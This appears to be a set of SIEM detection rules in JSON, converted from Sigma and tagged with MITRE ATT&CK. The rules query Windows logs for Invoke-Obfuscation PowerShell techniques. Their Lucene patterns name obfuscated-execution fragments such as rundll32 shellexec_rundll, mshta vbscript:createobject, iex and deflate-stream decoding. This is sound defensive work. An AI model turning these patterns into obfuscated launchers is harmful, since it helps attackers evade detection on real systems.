{"description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "548de027-8b27-5515-6195-1128bc30397a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation COMPRESS OBFUSCATION", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*new\\-object* AND winlog.event_data.ServiceFileName:*text.encoding\\]\\:\\:ascii* AND winlog.event_data.ServiceFileName:*readtoend* AND winlog.event_data.ServiceFileName:(*system.io.compression.deflatestream* OR *system.io.streamreader*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75695f31-8cf5-8228-7981-e52ccc0c6012", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation RUNDLL LAUNCHER", "query": "((powershell.command.invocation_details:*rundll32.exe* OR winlog.event_data.Payload:*rundll32.exe*) AND (powershell.command.invocation_details:*shell32.dll* OR winlog.event_data.Payload:*shell32.dll*) AND (powershell.command.invocation_details:*shellexec_rundll* OR winlog.event_data.Payload:*shellexec_rundll*) AND (powershell.command.invocation_details:*powershell* OR winlog.event_data.Payload:*powershell*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75695f31-8cf5-8228-7981-e52ccc0c6012", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation RUNDLL LAUNCHER", "query": "(powershell.file.script_block_text:*rundll32.exe* AND powershell.file.script_block_text:*shell32.dll* AND powershell.file.script_block_text:*shellexec_rundll* AND powershell.file.script_block_text:*powershell*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75695f31-8cf5-8228-7981-e52ccc0c6012", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation RUNDLL LAUNCHER", "query": "(process.command_line:*rundll32.exe* AND process.command_line:*shell32.dll* AND process.command_line:*shellexec_rundll* AND process.command_line:*powershell*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75695f31-8cf5-8228-7981-e52ccc0c6012", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation RUNDLL LAUNCHER", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*rundll32.exe* AND winlog.event_data.ImagePath:*shell32.dll* AND winlog.event_data.ImagePath:*shellexec_rundll* AND winlog.event_data.ImagePath:*powershell*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75695f31-8cf5-8228-7981-e52ccc0c6012", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation RUNDLL LAUNCHER", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*rundll32.exe* AND winlog.event_data.ServiceFileName:*shell32.dll* AND winlog.event_data.ServiceFileName:*shellexec_rundll* AND winlog.event_data.ServiceFileName:*powershell*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via Stdin in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4726b60-80dd-e9a1-fd0f-6799189a1e8d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Stdin", "query": "(powershell.command.invocation_details:/(?i).*(set).*&&\\s?set.*(environment|invoke|\\${?input).*&&.*\"/ OR winlog.event_data.Payload:/(?i).*(set).*&&\\s?set.*(environment|invoke|\\${?input).*&&.*\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via Stdin in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4726b60-80dd-e9a1-fd0f-6799189a1e8d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Stdin", "query": "powershell.file.script_block_text:/(?i).*(set).*&&\\s?set.*(environment|invoke|\\${?input).*&&.*\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via Stdin in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4726b60-80dd-e9a1-fd0f-6799189a1e8d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Stdin", "query": "process.command_line:/(?i).*(set).*&&\\s?set.*(environment|invoke|\\${?input).*&&.*\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via Stdin in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4726b60-80dd-e9a1-fd0f-6799189a1e8d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Stdin", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:/(?i).*(set).*&&\\s?set.*(environment|invoke|\\${?input).*&&.*\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via Stdin in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4726b60-80dd-e9a1-fd0f-6799189a1e8d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Stdin", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*set* AND winlog.event_data.ServiceFileName:*\\&&* AND winlog.event_data.ServiceFileName:(*environment* OR *invoke* OR *$\\{input\\)*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e83421a-0a48-09ab-060c-88e6e6b1bce3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Clip", "query": "(powershell.command.invocation_details:/(?i).*?echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?).*/ OR winlog.event_data.Payload:/(?i).*?echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?).*/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e83421a-0a48-09ab-060c-88e6e6b1bce3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Clip", "query": "powershell.file.script_block_text:/(?i).*?echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?).*/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e83421a-0a48-09ab-060c-88e6e6b1bce3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Clip", "query": "process.command_line:/(?i).*?echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?).*/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e83421a-0a48-09ab-060c-88e6e6b1bce3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Clip", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*\\(Clipboard|i*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e83421a-0a48-09ab-060c-88e6e6b1bce3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Clip", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*\\(Clipboard|i*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "author": ["Nikita Nazarov", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7bc1e568-18a8-98fb-7d0e-e2b5074f8dd5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use MSHTA - PowerShell Module", "query": "(((powershell.command.invocation_details:*set*) OR (winlog.event_data.Payload:*set*)) AND ((powershell.command.invocation_details:*\\&&*) OR (winlog.event_data.Payload:*\\&&*)) AND ((powershell.command.invocation_details:*mshta*) OR (winlog.event_data.Payload:*mshta*)) AND ((powershell.command.invocation_details:*vbscript\\:createobject*) OR (winlog.event_data.Payload:*vbscript\\:createobject*)) AND ((powershell.command.invocation_details:*.run*) OR (winlog.event_data.Payload:*.run*)) AND ((powershell.command.invocation_details:*\$window.close\$*) OR (winlog.event_data.Payload:*\$window.close\$*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31311554-315e-9f25-7583-a9d7bd84732b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use MSHTA", "query": "(powershell.file.script_block_text:*set* AND powershell.file.script_block_text:*\\&&* AND powershell.file.script_block_text:*mshta* AND powershell.file.script_block_text:*vbscript\\:createobject* AND powershell.file.script_block_text:*.run* AND powershell.file.script_block_text:*\$window.close\$*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31311554-315e-9f25-7583-a9d7bd84732b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use MSHTA", "query": "(process.command_line:*set* AND process.command_line:*\\&&* AND process.command_line:*mshta* AND process.command_line:*vbscript\\:createobject* AND process.command_line:*.run* AND process.command_line:*\$window.close\$*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31311554-315e-9f25-7583-a9d7bd84732b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use MSHTA", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*mshta* AND winlog.event_data.ImagePath:*vbscript\\:createobject*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31311554-315e-9f25-7583-a9d7bd84732b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use MSHTA", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*mshta* AND winlog.event_data.ServiceFileName:*vbscript\\:createobject* AND winlog.event_data.ServiceFileName:*.run* AND winlog.event_data.ServiceFileName:*window.close*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0568fd5-628b-236e-8ca9-7d5a45a56161", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Rundll32", "query": "(((powershell.command.invocation_details:*\\&&* OR winlog.event_data.Payload:*\\&&*) AND (powershell.command.invocation_details:*rundll32* OR winlog.event_data.Payload:*rundll32*) AND (powershell.command.invocation_details:*shell32.dll* OR winlog.event_data.Payload:*shell32.dll*) AND (powershell.command.invocation_details:*shellexec_rundll* OR winlog.event_data.Payload:*shellexec_rundll*)) AND (powershell.command.invocation_details:(*value* OR *invoke* OR *comspec* OR *iex*) OR winlog.event_data.Payload:(*value* OR *invoke* OR *comspec* OR *iex*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0568fd5-628b-236e-8ca9-7d5a45a56161", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Rundll32", "query": "(powershell.file.script_block_text:*\\&&* AND powershell.file.script_block_text:*rundll32* AND powershell.file.script_block_text:*shell32.dll* AND powershell.file.script_block_text:*shellexec_rundll* AND powershell.file.script_block_text:(*value* OR *invoke* OR *comspec* OR *iex*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0568fd5-628b-236e-8ca9-7d5a45a56161", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Rundll32", "query": "(process.command_line:*\\&&* AND process.command_line:*rundll32* AND process.command_line:*shell32.dll* AND process.command_line:*shellexec_rundll* AND process.command_line:(*value* OR *invoke* OR *comspec* OR *iex*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
